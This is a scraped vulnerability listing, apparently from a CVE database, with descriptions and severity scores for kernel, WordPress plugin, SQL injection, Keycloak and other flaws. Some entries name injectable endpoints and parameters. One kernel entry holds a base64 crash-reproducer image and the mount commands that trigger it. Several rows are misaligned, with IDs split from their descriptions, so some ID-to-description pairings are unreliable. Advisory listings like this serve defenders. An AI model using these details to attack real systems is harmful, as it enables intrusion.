CVE-2026-24091	Memory corruption while processing fastboot commands with improperly formatted input.	7.2	More Details
CVE-2026-3375	The LiteSpeed Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the /wp-json/litespeed/v1/notify_ccss and /wp-json/litespeed/v1/notify_ucss REST API endpoints in all versions up to, and including, 7.7. These endpoints accept CSS content from QUIC.cloud callback notifications and store it to disk without sanitization. The stored content is later rendered inline frontend page loads without output escaping. The access control protecting these endpoints is IP-based validation that can potentially be bypassed when the WordPress site is deployed behind a reverse proxy, load balancer, or CDN with certain configurations. This makes it possible for unauthenticated attackers, under certain conditions, to inject arbitrary JavaScript into CCSS/UCSS content.	7.2	More Details
CVE-2026-24092	Memory Corruption when processing fastboot commands to set display mode.	7.2	More Details
CVE-2026-24085	Memory Corruption when processing display command line information due to improper initialization of a variable.	7.2	More Details
CVE-2026-40961	A bug in the login redirect route in Apache Airflow allowed authenticated users to craft URLs that bypassed the `is_safe_url` check, enabling redirection from a trusted Airflow domain to an attacker-controlled origin. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can place Airflow behind a reverse proxy that strips off-domain `next=` query parameters before they reach the login endpoint.	7.2	More Details
CVE-2026-49135	CodexBar prior to 0.32.0 contains an insecure temporary file handling vulnerability that allows local attackers to access sensitive credentials or tamper with build artifacts by exploiting predictable file paths in the release notarization workflow. Attackers with access to the same host can read the App Store Connect API key written to a fixed path, pre-create files or symbolic links at predictable locations to redirect writes to attacker-controlled destinations, or tamper with notarization archives before submission.	7.1	More Details
CVE-2026-48865	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThimPress LearnPress allows Reflected XSS. This issue affects LearnPress: from n/a through 4.3.6.	7.1	More Details
CVE-2026-45958	In the Linux kernel, the following vulnerability has been resolved: drm/exynos: vidi: fix to avoid directly dereferencing user pointer In vidi_connection_ioctl(), vidi->edid(user pointer) is directly dereferenced in the kernel. This allows arbitrary kernel memory access from the user space, so instead of directly accessing the user pointer in the kernel, we should modify it to copy edid to kernel memory using copy_from_user() and use it.	7.1	More Details
CVE-2026-46150	In the Linux kernel, the following vulnerability has been resolved: fanotify: fix false positive on permission events fsnotify_get_mark_safe() may return false for a mark on an unrelated group, which results in bypassing the permission check. Fix by skipping over detached marks that are not in the current group.	7.1	More Details
CVE-2026-42728	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HT Plugins HT Contact Form 7 ht-contactform allows Stored XSS.This issue affects HT Contact Form 7: from n/a through <= 2.8.2.	7.1	More Details
CVE-2026-42738	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ZAYTECH Smart Online Order for Clover clover-online-orders allows Stored XSS.This issue affects Smart Online Order for Clover: from n/a through <= 1.6.0.	7.1	More Details
CVE-2026-40836	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the inmessage model due to improper neutralization of special elements in a SQL DELETE command allowing for reading the whole database and deleting entries in a non critical table. This can result in a total loss of confidentiality and some loss of integrity.	7.1	More Details
CVE-2026-48839	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VeronaLabs WP Statistics allows DOM-Based XSS. This issue affects WP Statistics: from n/a through 14.16.6.	7.1	More Details
CVE-2026-42729	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Property Hive PropertyHive propertyhive allows DOM-Based XSS.This issue affects PropertyHive: from n/a through <= 2.2.2.	7.1	More Details
CVE-2026-42734	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dylan Kuhn Geo Mashup geo-mashup allows Reflected XSS.This issue affects Geo Mashup: from n/a through <= 1.13.19.	7.1	More Details
	In the Linux kernel, the following vulnerability has been resolved: scsi: target: configfs: Bound snprintf()		

CVE-2026-46149	return in tg_pt_gp_members_show() target_tg_pt_gp_members_show() formats LUN paths with snprintf() into a 256-byte stack buffer, then will memcpy() cur_len bytes from that buffer. snprintf() returns the length the output would have had, which can exceed the buffer size when the fabric WWN is long because iSCSI IQN names can be up to 223 bytes. The check at the memcpy() site only guards the destination page write, not the source read, so memcpy() will read past the stack buffer and copy adjacent stack contents to the sysfs reader, which when CONFIG_FORTIFY_SOURCE is enabled, fortify_panic() will be triggered. Commit 27e06650a5ea ("scsi: target: target_core_configfs: Add length check to avoid buffer overflow") added the same bound to the target_lu_gp_members_show() but the tg_pt_gp variant was missed so resolve that here.	7.1	More Details
CVE-2026-49134	CodexBar prior to 0.32.0 contains a privilege escalation vulnerability in the CLI installer that allows local attackers to execute arbitrary commands as root by exploiting a race condition in temporary file handling. The installer creates a temporary file with mktemp, writes a privileged shell payload into it, and executes it with administrator privileges via bash, allowing a same-user local process to rewrite the installer body before the administrator prompt is approved, causing attacker-controlled commands to run as root.	7.1	More Details
CVE-2026-48209	An improper neutralization of user-controllable input in OTRS or ((OTRS)) Community Edition ticket handling allows authenticated attackers to perform reflected cross-site scripting (XSS) attacks via crafted request parameters associated with ticket actions. By injecting malicious JavaScript into manipulated request URLs, attackers can execute arbitrary script code in the context of an authenticated agent session when the crafted link is opened. This issue affects OTRS: * 7.0.x Please note that ((OTRS)) Community Edition 6.x and before are vulnerable. Products based on the ((OTRS)) Community Edition also very likely to be affected	7.1	More Details
CVE-2026-45722	Nextcloud is an open source content collaboration platform. From versions 0.9.0 to before 0.9.7, and 1.0.0 to before 1.0.2, a missing sanitization in the Tables app allowed a user with access to the tables app to perform a limited SQL injection in the ORDER BY statement of a query. Compared to normal SQL injections, the ORDER BY is limited to extracting a single bit of information per request or to make the database wait for a given time. This issue has been patched in versions 0.9.7 and 1.0.2.	7.1	More Details
CVE-2026-42681	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in E2Pdf.Com e2pdf allows Reflected XSS. This issue affects e2pdf: from n/a through 1.32.14.	7.1	More Details
CVE-2026-46078	In the Linux kernel, the following vulnerability has been resolved: erofs: fix the out-of-bounds nameoff handling for trailing dirents Currently we already have boundary-checks for nameoffs, but the trailing dirents are special since the namelens are calculated with strnlen() with unchecked nameoffs. If a crafted EROFS has a trailing dirent with nameoff >= maxsize, maxsize - nameoff can underflow, causing strnlen() to read past the directory block. nameoff0 should also be verified to be a multiple of `sizeof(struct erofs_dirent)` as well [1]. [1] https://sashiko.dev/#/patchset/20260416063511.3173774-1-hsiangkao%40linux.alibaba.com	7.1	More Details
CVE-2026-24090	Cryptographic issue while processing partition table entries allows unauthorized modification of boot flow.	7.1	More Details
CVE-2026-42733	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RealMag777 WPCS currency-switcher allows DOM-Based XSS.This issue affects WPCS: from n/a through <= 1.3.1.	7.1	More Details
CVE-2026-42683	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikBooking Hotel Booking Engine & PMS allows DOM-Based XSS. This issue affects VikBooking Hotel Booking Engine & PMS: from n/a through 1.8.8.	7.1	More Details
CVE-2018-25431	No-Cms 1.0 contains an SQL injection vulnerability in the order_by parameter of the manage_privilege export endpoint that allows authenticated attackers to manipulate database queries. Attackers can submit POST requests to /nocms/main/manage_privilege/index/export with malicious SQL code in the order_by[0] parameter to extract sensitive database information.	7.1	More Details
CVE-2026-46204	In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/vcn4: Prevent OOB reads when parsing IB Rewrite the IB parsing to use amdgpu_ib_get_value() which handles the bounds checks.	7.1	More Details
CVE-2026-46070	In the Linux kernel, the following vulnerability has been resolved: md/raid5: validate payload size before accessing journal metadata r5c_recovery_analyze_meta_block() and r5l_recovery_verify_data_checksum_for_mb() iterate over payloads in a journal metadata block using on-disk payload size fields without validating them against the remaining space in the metadata block. A corrupted journal contains payload sizes extending beyond the PAGE_SIZE boundary can cause out-of-bounds reads when accessing payload fields or computing offsets. Add bounds validation for each payload type to ensure the full payload fits within meta_size before processing.	7.1	More Details
CVE-2026-42678	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Liquid Web / StellarWP GiveWP allows DOM-Based XSS. This issue affects GiveWP: from n/a through 4.14.5.	7.1	More Details
CVE-	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in IniLerm		

2026-42739	Advanced IP Blocker advanced-ip-blocker allows DOM-Based XSS.This issue affects Advanced IP Blocker: from n/a through <= 8.10.7.	7.1	More Details
CVE-2026-48827	Path traversal vulnerability in Apache MINA SSHD bundle sshd-git. Lack of path validation in git-upload-pack, git-receive-pack, and other git operations allows users authenticated over SSH access to git repositories outside the configured git server root directory. Applications are affected if they use org.apache.sshd:sshd-git. Applications not using sshd-git are not affected. Users are advised to upgrade affected applications to Apche MINA SSHD 2.18.0, which fixes the issue. The issue also is present in the pre-release milestones 3.0.0-M1 to 3.0.0-M3 for a new upcoming new major version 3.0.0. Again, applications are affected only if they use sshd-git. Upgrade affected applications to 3.0.0-M4. We would like to point out that a professional git server should not rely solely on file system layout and permissions, but should implement additional security controls to govern access to git repositories and operations allowed on particular git repositories.	7.1	More Details
CVE-2026-47272	pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.9.0, the pusb_pad_compare() function in src/pad.c only verified that the user-side pad (~/.pamusb/device.pad) could be read, but did not enforce that the system-side pad (the pad file on the USB device) was also present and readable. If the user-side pad was deleted or unreadable, the function returned a failure that was treated as non-fatal in certain code paths, allowing authentication to succeed without the USB device being verified. A local user can delete their own ~/.pamusb/device.pad to remove the USB device requirement and authenticate without the physical device. This vulnerability is fixed in 0.9.0.	7.1	More Details
CVE-2026-45134	LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. Prior to LangSmith SDK Python 0.8.0 and JS/TS 0.6.0, the LangSmith SDK's prompt pull methods (pull_prompt / pull_prompt_commit in Python, pullPrompt / pullPromptCommit in JS/TS) fetch and deserialize prompt manifests from the LangSmith Hub. These manifests may contain serialized LangChain objects and model configuration that affect runtime behavior. When pulling a public prompt by owner/name identifier, the manifest content is controlled by an external party, but prior versions of the SDK did not distinguish this from pulling a prompt within the caller's own organization. This vulnerability is fixed in LangSmith SDK Python 0.8.0 and JS/TS 0.6.0.	7.1	More Details
CVE-2026-49371	In JetBrains TeamCity before 2026.1.1 reflected XSS in the keyword filter was possible	7.1	More Details
CVE-2026-46218	In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: Add bounds checking to ib_{get,set}_value The uvd/vce/vcn code accesses the IB at predefined offsets without checking that the IB is large enough. Check the bounds here. The caller is responsible for making sure it can handle arbitrary return values. Also make the idx a uint32_t to prevent overflows causing the condition to fail.	7.1	More Details
CVE-2026-49373	In JetBrains TeamCity before 2026.1 remote code execution was possible via Perforce connection settings	7.1	More Details
CVE-2018-25410	SIM-PKH 2.4.1 contains an SQL injection vulnerability that allows authenticated attackers to execute arbitrary SQL queries by injecting malicious code through the 'id' parameter. Attackers can send GET requests to /admin/media.php with module=pengurus and act=editpengurus parameters containing SQL UNION statements to extract database information including usernames, database names, and version details.	7.1	More Details
CVE-2025-52747	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jthemes Themebox - Digital Products Ecommerce allows Reflected XSS. This issue affects Themebox - Digital Products Ecommerce: from n/a through 1.4.2.	7.1	More Details
CVE-2018-25392	MaxOn ERP Software 8.x-9.x contains an SQL injection vulnerability that allows authenticated users to execute arbitrary SQL queries through the nomor, user, and jenis parameters in the log_activity function. Attackers can send POST requests to /index.php/user/log_activity with malicious SQL code in these parameters to extract sensitive database information including version and database names.	7.1	More Details
CVE-2026-1933	A flaw was found in Samba’s handling of NTFS-style reparse points on shares configured with read only = yes. Due to missing SMB-layer access checks, authenticated users with underlying filesystem write permissions may create or delete reparse point metadata through SMB operations even on read-only exports. This could allow modification of SMB-visible file behavior, including converting files into symbolic links or other reparse point types.	7.1	More Details
CVE-2025-22741	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RiceTheme Felan Framework allows Reflected XSS. This issue affects Felan Framework: from n/a through 1.1.3.	7.1	More Details
CVE-2026-46230	In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/vcn3: Prevent OOB reads when parsing dec msg Check bounds against the end of the BO whenever we access the msg.	7.1	More Details
CVE-2026-	IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.4 is vulnerable to a denial of service with a specially crafted query when autonomous transactions are enabled.	7.1	More Details

1718			
CVE-2026-45999	In the Linux kernel, the following vulnerability has been resolved: erofs: fix unsigned underflow in z_erofs_lz4_handle_overlap() Some crafted images can have illegal (!partial_decoding && m_llen < m_plen) extents, and the LZ4 inplace decompression path can be wrongly hit, but it cannot handle (outpages < inpages) properly: "outpages - inpages" wraps to a large value and the subsequent rq->out[] access reads past the decompressed_pages array. However, such crafted cases can correctly result in a corruption report in the normal LZ4 non-inplace path. Let's add an additional check to fix this for backporting. Reproducible image (base64-encoded gzipped blob): H4sIAJGR12kCA+3SPUoDQRgG4MkmkkZk8QRbRFIIi9hbpEjrHQI5ghfwCN5BLCzTGtLbBI+g dilSJo1CnIm7GEXFxhT6PDDwfrs73/ywIQD/1ePD4r7Ou6ETsrq4mu7XcWfj++Pb58nJU/9i PNtbjhan04/9GtX4qVYc814WDqt6FaX5s+ZwXXeq52IndT6IuVvlblytLMvh4Gzwaf90nsvz 2DF/21+20T/ldgp5s1jXRaN4t/8izsy/OUB6e/Qa79r+JwAAAAAAAL52vQVuGQAAAP6+my1w ywAAAAAAADwu14ATsEYtgBQAAA= $ mount -t erofs -o cache_strategy=disabled foo.erofs /mnt $ dd if=/mnt/data of=/dev/null bs=4096 count=1	7.1	More Details
CVE-2026-44473	Ella Core is a 5G core designed for private networks. Prior to 1.10.0, a radio with a valid NG Setup can send a forged PDUSessionResourceSetupResponse carrying any UE's AMF-UE-NGAP-ID. Ella Core does not verify the message arrived on the SCTP association bound to that UE's logical NG-connection, then creates a GTP tunnel towards that radio. This vulnerability is fixed in 1.10.0.	7.1	More Details
CVE-2026-42280	Auth0.js is a client-side JavaScript library for Auth0. From 8.11.0 to 9.32.0, under specific preconditions, the Auth0.js SDK may improperly return user profile information using a valid access token when a specifically crafted invalid ID token is provided. This vulnerability is fixed in 10.0.0.	7.1	More Details
CVE-2026-46199	In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/vcn4: Prevent OOB reads when parsing dec msg Check bounds against the end of the BO whenever we access the msg.	7.1	More Details
CVE-2026-40833	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the dash.php files saveDashboardLayout function due to improper neutralization of special elements in a SQL INSERT command allowing for reading the whole database and inserting entries into a non critical table. This can result in a total loss of confidentiality and some loss of integrity.	7.1	More Details
CVE-2026-42749	Authentication Bypass Using an Alternate Path or Channel vulnerability in Themeisle Disable Comments for Any Post Types (Remove comments) comments-plus allows Password Recovery Exploitation.This issue affects Disable Comments for Any Post Types (Remove comments): from n/a through <= 1.3.0.	7.1	More Details
CVE-2026-9808	An authorization bypass vulnerability exists in the Mautic 7 API v2 endpoints (utilizing API Platform). Under certain conditions, roles configured with owner-scope restrictions (such as `viewown` or `editown`) are not properly enforced. This allows low-privilege authenticated API users to bypass ownership-logic controls and access or modify resources belonging to other users.	7.1	More Details
CVE-2026-44798	Nautobot is a Network Source of Truth and Network Automation Platform. Prior to 2.4.33 and 3.1.2, a user with access to add/change a GitRepository record could use the REST API to directly set the current_head field on the record, which was not intended to be user-editable. Doing so could cause Nautobot's local clone(s) of the relevant repository to checkout a commit other than the latest commit on the specified branch (resulting in misleading state), or potentially to be unable to make use of the repository at all (until manually remediated) due to the current_head pointing to a nonexistent commit hash or malformed value. This vulnerability is fixed in 2.4.33 and 3.1.2.	7.1	More Details
CVE-2026-40834	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the dash_layout.php files saveDashboardLayout function due to improper neutralization of special elements in a SQL INSERT command allowing for reading the whole database and inserting entries into a non critical table. This can result in a total loss of confidentiality and some loss of integrity.	7.1	More Details
CVE-2026-46175	In the Linux kernel, the following vulnerability has been resolved: f2fs: fix fsck inconsistency caused by FGGC of node block During FGGC node block migration, fsck may incorrectly treat the migrated node block as fsync-written data. The reproduction scenario: root@vm:/mnt/f2fs# seq 1 2048 | xargs -n 1 ./test_sync // write inline inode and sync root@vm:/mnt/f2fs# rm -f 1 root@vm:/mnt/f2fs# sync root@vm:/mnt/f2fs# f2fs_io gc_range // move data block in sync mode and not write CP SPO, "fsck --dry-run" find inode has already checkpointed but still with DENT_BIT_SHIFT set The root cause is that GC does not clear the dentry mark and fsync mark during node block migration, leading fsck to misinterpret them as user-issued fsync writes. In BGGC mode, node block migration is handled by f2fs_sync_node_pages(), which guarantees the dentry and fsync marks are cleared before writing. This patch move the set/clear of the fsync|dentry marks into __write_node_folio to make the logic clearer, and ensures the fsync|dentry mark is cleared in FGGC.	7.1	More Details
	In the Linux kernel, the following vulnerability has been resolved: apparmor: Fix string overrun due to missing termination When booting Ubuntu 26.04 with Linux 7.0-rc4 on an ARM64 Qualcomm Snapdragon X1 we see a string buffer overrun: BUG: KASAN: slab-out-of-bounds in aa_dfa_match (security/apparmor/match.c:535) Read of size 1 at addr ffff0008901cc000 by task snap-update-ns/2120 CPU: 5 UID: 60578 PID: 2120 Comm: snap-update-ns Not tainted 7.0.0-rc4+ #22 PREEMPTLAZY Hardware name: LENOVO 83ED/LNVNB161216,		

CVE-2026-46055	BIOS NHCN60WW 09/11/2025 Call trace: show_stack (arch/arm64/kernel/stacktrace.c:501) (C) dump_stack_lvl (lib/dump_stack.c:122) print_report (mm/kasan/report.c:379 mm/kasan/report.c:482) kasan_report (mm/kasan/report.c:597) __asan_report_load1_noabort (mm/kasan/report_generic.c:378) aa_dfa_match (security/apparmor/match.c:535) match_mnt_path_str (security/apparmor/mount.c:244 security/apparmor/mount.c:336) match_mnt (security/apparmor/mount.c:371) aa_bind_mount (security/apparmor/mount.c:447 (discriminator 4)) apparmor_sb_mount (security/apparmor/lsm.c:719 (discriminator 1)) security_sb_mount (security/security.c:1062 (discriminator 31)) path_mount (fs/namespace.c:4101) __arm64_sys_mount (fs/namespace.c:4172 fs/namespace.c:4361 fs/namespace.c:4338 fs/namespace.c:4338) invoke_syscall.constprop.0 (arch/arm64/kernel/syscall.c:35 arch/arm64/kernel/syscall.c:49) el0_svc_common.constprop.0 (./include/linux/thread_info.h:142 (discriminator 2) arch/arm64/kernel/syscall.c:140 (discriminator 2)) do_el0_svc (arch/arm64/kernel/syscall.c:152) el0_svc (arch/arm64/kernel/entry-common.c:80 arch/arm64/kernel/entry-common.c:725) el0t_64_sync_handler (arch/arm64/kernel/entry-common.c:744) el0t_64_sync (arch/arm64/kernel/entry.S:596) Allocated by task 2120: kasan_save_stack (mm/kasan/common.c:58) kasan_save_track (./arch/arm64/include/asm/current.h:19 mm/kasan/common.c:70 mm/kasan/common.c:79) kasan_save_alloc_info (mm/kasan/generic.c:571) __kasan_kmalloc (mm/kasan/common.c:419) __kmalloc_noprof (./include/linux/kasan.h:263 mm/slub.c:5260 mm/slub.c:5272) aa_get_buffer (security/apparmor/lsm.c:2201) aa_bind_mount (security/apparmor/mount.c:442) apparmor_sb_mount (security/apparmor/lsm.c:719 (discriminator 1)) security_sb_mount (security/security.c:1062 (discriminator 31)) path_mount (fs/namespace.c:4101) __arm64_sys_mount (fs/namespace.c:4172 fs/namespace.c:4361 fs/namespace.c:4338 fs/namespace.c:4338) invoke_syscall.constprop.0 (arch/arm64/kernel/syscall.c:35 arch/arm64/kernel/syscall.c:49) el0_svc_common.constprop.0 (./include/linux/thread_info.h:142 (discriminator 2) arch/arm64/kernel/syscall.c:140 (discriminator 2)) do_el0_svc (arch/arm64/kernel/syscall.c:152) el0_svc (arch/arm64/kernel/entry-common.c:80 arch/arm64/kernel/entry-common.c:725) el0t_64_sync_handler (arch/arm64/kernel/entry-common.c:744) el0t_64_sync (arch/arm64/kernel/entry.S:596) The buggy address belongs to the object at ffff0008901ca000 which belongs to the cache kmalloc-rnd-06-8k of size 8192 The buggy address is located 0 bytes to the right of allocated 8192-byte region [ffff0008901ca000, ffff0008901cc000) The buggy address belongs to the physical page: page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x9101c8 head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:-1 pincount:0 flags: 0x8000000000000040(head|zone=2) page_type: f5(slab) raw: 8000000000000040 ffff000800016c40 fffffdffe2d14e10 ffff000800015c70 raw: 0000000000000000 0000000800010001 00000000f5000000 0000000000000000 head: 8000000000000040 ffff000800016c40 fffffdffe2d14e10 ffff000800015c70 head: 0000000000000000 0000000800010001 00000000f5000000 0000000000000000 head: 8000000000000003 fffffdffe2407201 ffffffffffffffff 00000000ffffffff head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff0008901cbf00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ffff0008 ---truncated---	7.1	More Details
CVE-2018-25429	Paroiciel 11.20 contains an SQL injection vulnerability that allows authenticated attackers to execute arbitrary SQL queries by injecting malicious code through the zProIdPro parameter. Attackers can send GET requests to zpro.php with crafted SQL payloads in the zProIdPro parameter to extract sensitive database information including usernames, databases, and version details.	7.1	More Details
CVE-2026-46054	In the Linux kernel, the following vulnerability has been resolved: selinux: fix overlayfs mmap() and mprotect() access checks The existing SELinux security model for overlayfs is to allow access if the current task is able to access the top level file (the "user" file) and the mounter's credentials are sufficient to access the lower level file (the "backing" file). Unfortunately, the current code does not properly enforce these access controls for both mmap() and mprotect() operations on overlayfs filesystems. This patch makes use of the newly created security_mmap_backing_file() LSM hook to provide the missing backing file enforcement for mmap() operations, and leverages the backing file API and new LSM blob to provide the necessary information to properly enforce the mprotect() access controls.	7.1	More Details
CVE-2018-25430	Paroiciel 11.20 contains an SQL injection vulnerability that allows authenticated attackers to execute arbitrary SQL queries by injecting malicious code through the eGeqIdEquipe parameter. Attackers can send GET requests to the egeq.php endpoint with crafted SQL payloads to extract sensitive database information including version details and other data.	7.1	More Details
CVE-2026-4776	An SQL injection vulnerability exists in Mautic's API contact filtering mechanism. Due to insufficient recursive sanitization of nested query parameters, an authenticated API user can bypass input filtering and inject arbitrary SQL commands.	7.1	More Details
CVE-2026-42754	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in phbernard Favicon favicon-by-realfavicongenerator allows Reflected XSS.This issue affects Favicon: from n/a through <= 1.3.46.	7.1	More Details
CVE-2026-42759	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Timo Affiliate Super Assistent amazonsimpleadmin allows Stored XSS.This issue affects Affiliate Super Assistent: from n/a through <= 1.10.1.	7.1	More Details
	In the Linux kernel, the following vulnerability has been resolved: RDMA/uverbs: Validate wqe_size before using it in ib_uverbs_post_send ib_uverbs_post_send() uses cmd.wqe_size from userspace without any		

CVE-2026-45856	validation before passing it to kmalloc() and using the allocated buffer as struct ib_uverbs_send_wr. If a user provides a small wqe_size value (e.g., 1), kmalloc() will succeed, but subsequent accesses to user_wr->opcode, user_wr->num_sge, and other fields will read beyond the allocated buffer, resulting in an out-of-bounds read from kernel heap memory. This could potentially leak sensitive kernel information to userspace. Additionally, providing an excessively large wqe_size can trigger a WARNING in the memory allocation path, as reported by syzkaller. This is inconsistent with ib_uverbs_unmarshall_recv() which properly validates that wqe_size >= sizeof(struct ib_uverbs_recv_wr) before proceeding. Add the same validation for ib_uverbs_post_send() to ensure wqe_size is at least sizeof(struct ib_uverbs_send_wr).	7.1	More Details
CVE-2026-42762	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikBooking Hotel Booking Engine & PMS vikbooking allows DOM-Based XSS.This issue affects VikBooking Hotel Booking Engine & PMS: from n/a through <= 1.8.9.	7.1	More Details
CVE-2026-6268	The EventPress WordPress theme before 22.2 does not sanitize or escape the 'id' parameter in the eventpress_customizer_notify_dismiss_action AJAX handler before outputting it back in the response, allowing unauthenticated attackers to perform Reflected Cross-Site Scripting attacks against logged-in users.	7.1	More Details
CVE-2026-7528	IBM Langflow OSS 1.0.0 through 1.9.0 could allow a denial of service due to uncontrolled resource consumption.	7.1	More Details
CVE-2026-46190	In the Linux kernel, the following vulnerability has been resolved: mtd: spi-nor: debugfs: fix out-of-bounds read in spi_nor_params_show() Sashiko noticed an out-of-bounds read [1]. In spi_nor_params_show(), the snor_f_names array is passed to spi_nor_print_flags() using sizeof(snor_f_names). Since snor_f_names is an array of pointers, sizeof() returns the total number of bytes occupied by the pointers (element_count * sizeof(void *)) rather than the element count itself. On 64-bit systems, this makes the passed length 8x larger than intended. Inside spi_nor_print_flags(), the 'names_len' argument is used to bounds-check the 'names' array access. An out-of-bounds read occurs if a flag bit is set that exceeds the array's actual element count but is within the inflated byte-size count. Correct this by using ARRAY_SIZE() to pass the actual number of string pointers in the array.	7.1	More Details
CVE-2026-46237	In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/vcn3: Avoid overflow on msg bound check As pointed out by SDL, the previous condition may be vulnerable to overflow. (cherry picked from commit db00257ac9e4a51eb2515aaea161a019f7125e10)	7.1	More Details
CVE-2026-44604	A command injection vulnerability was discovered in the `rpmuncompress` utility of RPM. When extracting certain archive formats (ZIP, 7z, GEM) to a specified destination directory, the tool inserts the archive's top-level folder name into a shell command without properly sanitizing it. A specially crafted archive containing shell metacharacters in its folder name can execute arbitrary commands as the user running the extraction.	7.0	More Details
CVE-2026-46029	In the Linux kernel, the following vulnerability has been resolved: mm/slab: return NULL early from kmalloc_nolock() in NMI on UP On UP kernels (!CONFIG_SMP), spin_trylock() is a no-op that unconditionally succeeds even when the lock is already held. As a result, kmalloc_nolock() called from NMI context can re-enter the slab allocator and acquire n->list_lock that the interrupted context is already holding, corrupting slab state. With CONFIG_DEBUG_SPINLOCK on UP, the following BUG is triggered with the slub_kunit test module: BUG: spinlock trylock failure on UP on CPU#0, kunit_try_catch/243 [...] Call Trace: <NMI> dump_stack_lvl+0x3f/0x60 do_raw_spin_trylock+0x41/0x50 _raw_spin_trylock+0x24/0x50 get_from_partial_node+0x120/0x4d0 ___slab_alloc+0x8a/0x4c0 kmalloc_nolock_noprof+0x164/0x310 [...] </NMI> Fix this by returning NULL early when invoked from NMI on a UP kernel.	7.0	More Details
CVE-2026-49000	An insecure password scheme refers to vulnerabilities arising from improper selection of encryption algorithms, inadequate key management, or flawed code implementation, which may lead to data leakage or tampering, such as hard-coded keys or the use of weak encryption algorithms.	7.0	More Details
CVE-2026-46154	In the Linux kernel, the following vulnerability has been resolved: sched_ext: Read scx_root under scx_cgroup_ops_rwsem in cgroup setters scx_group_set_{weight,idle,bandwidth}() cache scx_root before acquiring scx_cgroup_ops_rwsem, so the pointer can be stale by the time the op runs. If the loaded scheduler is disabled and freed (via RCU work) and another is enabled between the naked load and the rwsem acquire, the reader sees scx_cgroup_enabled=true (the new scheduler's) but dereferences the freed one - UAF on SCX_HAS_OP(sch, ...) / SCX_CALL_OP(sch, ...). scx_cgroup_enabled is toggled only under scx_cgroup_ops_rwsem write (scx_cgroup_{init,exit}), so reading scx_root inside the rwsem read section correlates @sch with the enabled snapshot.	7.0	More Details
CVE-2026-46164	In the Linux kernel, the following vulnerability has been resolved: btrfs: fix double free in create_space_info_sub_group() error path When kobject_init_and_add() fails, the call chain is: create_space_info_sub_group() -> btrfs_sysfs_add_space_info_type() -> kobject_init_and_add() -> failure -> kobject_put(&sub_group->kobj) -> space_info_release() -> kfree(sub_group) Then control returns to create_space_info_sub_group(), where: btrfs_sysfs_add_space_info_type() returns error -> kfree(sub_group) Thus, sub_group is freed twice. Keep parent->sub_group[index] = NULL for the failure path, but after btrfs_sysfs_add_space_info_type() has called kobject_put(), let the kobject release callback handle the cleanup.	7.0	More Details

CVE-2024-11399	Files or directories accessible to external parties vulnerability in redis-server component in Synology BeeDrive for desktop before 1.3.2-13814 allows local users to conduct denial-of-service attacks via unspecified vectors.	6.8	More Details
CVE-2026-9673	Versions of the package json-2-csv from 3.15.0 and before 5.5.11 are vulnerable to CSV Injection via the preventCsvInjection option which can be bypassed. An attacker can inject formulas into CSV files, which execute when the files are opened in spreadsheet applications.	6.8	More Details
CVE-2026-9704	A flaw was found in Keycloak. An authenticated user with low privileges can exploit this vulnerability by sending an oversized subject_token JSON Web Token (JWT) to the TokenEndpoint. When the token exceeds a 4000-character limit, it is silently dropped, causing the system to fall back to client credentials. This allows the user to gain the permissions of the client's service account, leading to privilege escalation.	6.8	More Details
CVE-2026-9802	A flaw was found in Keycloak. When revokeRefreshToken=true is enabled and persistent session storage is in use, a server restart can reset internal timing mechanisms. This allows a remote attacker, who has previously captured a user's refresh token, to replay that token even after it has been revoked. Successful exploitation grants the attacker unauthorized access to the victim's account, potentially leading to information disclosure or privilege escalation.	6.8	More Details
CVE-2026-48545	Gradio before version 6.15.0 contains a cookie injection vulnerability that allows remote attackers to perform cross-Space session fixation by exploiting a shared module-level HTTP client used across all users in the reverse proxy endpoint. Attackers controlling any HF Space can return a parent-domain cookie that the shared client stores and automatically replays into all subsequent proxy requests to other legitimate Spaces, affecting all users of the same Gradio deployment.	6.8	More Details
CVE-2026-44247	Volcano is a Kubernetes-native batch scheduling system. Prior to v1.14.2, v1.13.3, and v1.12.4, the Volcano webhook server does not enforce a size limit on incoming HTTP request bodies. Any in-cluster pod that can reach the webhook endpoint may send an arbitrarily large request body, potentially causing the webhook server to be killed by OOM. All Volcano deployments with the webhook server exposed to in-cluster traffic are affected. This vulnerability is fixed in v1.14.2, v1.13.3, and v1.12.4.	6.8	More Details
